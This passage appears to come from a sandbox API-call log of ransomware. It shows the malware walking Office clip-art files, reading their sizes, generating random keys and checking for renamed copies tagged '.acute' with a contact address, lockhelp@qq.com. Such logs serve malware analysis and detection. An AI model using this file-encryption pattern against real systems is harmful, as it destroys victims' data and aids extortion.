(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0274.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.881] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.881] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=24778) returned 1 [0274.881] CloseHandle (hObject=0x30c) returned 1 [0274.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0274.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.885] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.886] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=47996) returned 1 [0274.886] CloseHandle (hObject=0x30c) returned 1 [0274.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0274.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.886] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.886] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=40206) returned 1 [0274.886] CloseHandle (hObject=0x30c) returned 1 [0274.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0274.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.886] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.886] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=47786) returned 1 [0274.886] CloseHandle (hObject=0x30c) returned 1 [0274.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0274.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.887] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.887] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14540) returned 1 [0274.887] CloseHandle (hObject=0x30c) returned 1 [0274.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0274.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.887] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.888] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=20554) returned 1 [0274.888] CloseHandle (hObject=0x30c) returned 1 [0274.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0274.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.888] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.888] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7966) returned 1 [0274.888] CloseHandle (hObject=0x30c) returned 1 [0274.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0274.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.889] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.889] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=13515) returned 1 [0274.889] CloseHandle (hObject=0x30c) returned 1 [0274.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0274.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.889] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.890] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=20189) returned 1 [0274.890] CloseHandle (hObject=0x30c) returned 1 [0274.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0274.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.890] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.890] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=20454) returned 1 [0274.890] CloseHandle (hObject=0x30c) returned 1 [0274.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0274.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.891] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.891] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15733) returned 1 [0274.891] CloseHandle (hObject=0x30c) returned 1 [0274.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0274.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.892] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.892] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=12982) returned 1 [0274.892] CloseHandle (hObject=0x30c) returned 1 [0274.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0274.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.892] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.892] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9710) returned 1 [0274.892] CloseHandle (hObject=0x30c) returned 1 [0274.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0274.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.892] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.894] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=8772) returned 1 [0274.894] CloseHandle (hObject=0x30c) returned 1 [0274.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0274.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.896] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.897] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14486) returned 1 [0274.897] CloseHandle (hObject=0x30c) returned 1 [0274.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0274.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.897] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.897] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=18304) returned 1 [0274.897] CloseHandle (hObject=0x30c) returned 1 [0274.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0274.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.897] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.897] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=11058) returned 1 [0274.897] CloseHandle (hObject=0x30c) returned 1 [0274.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 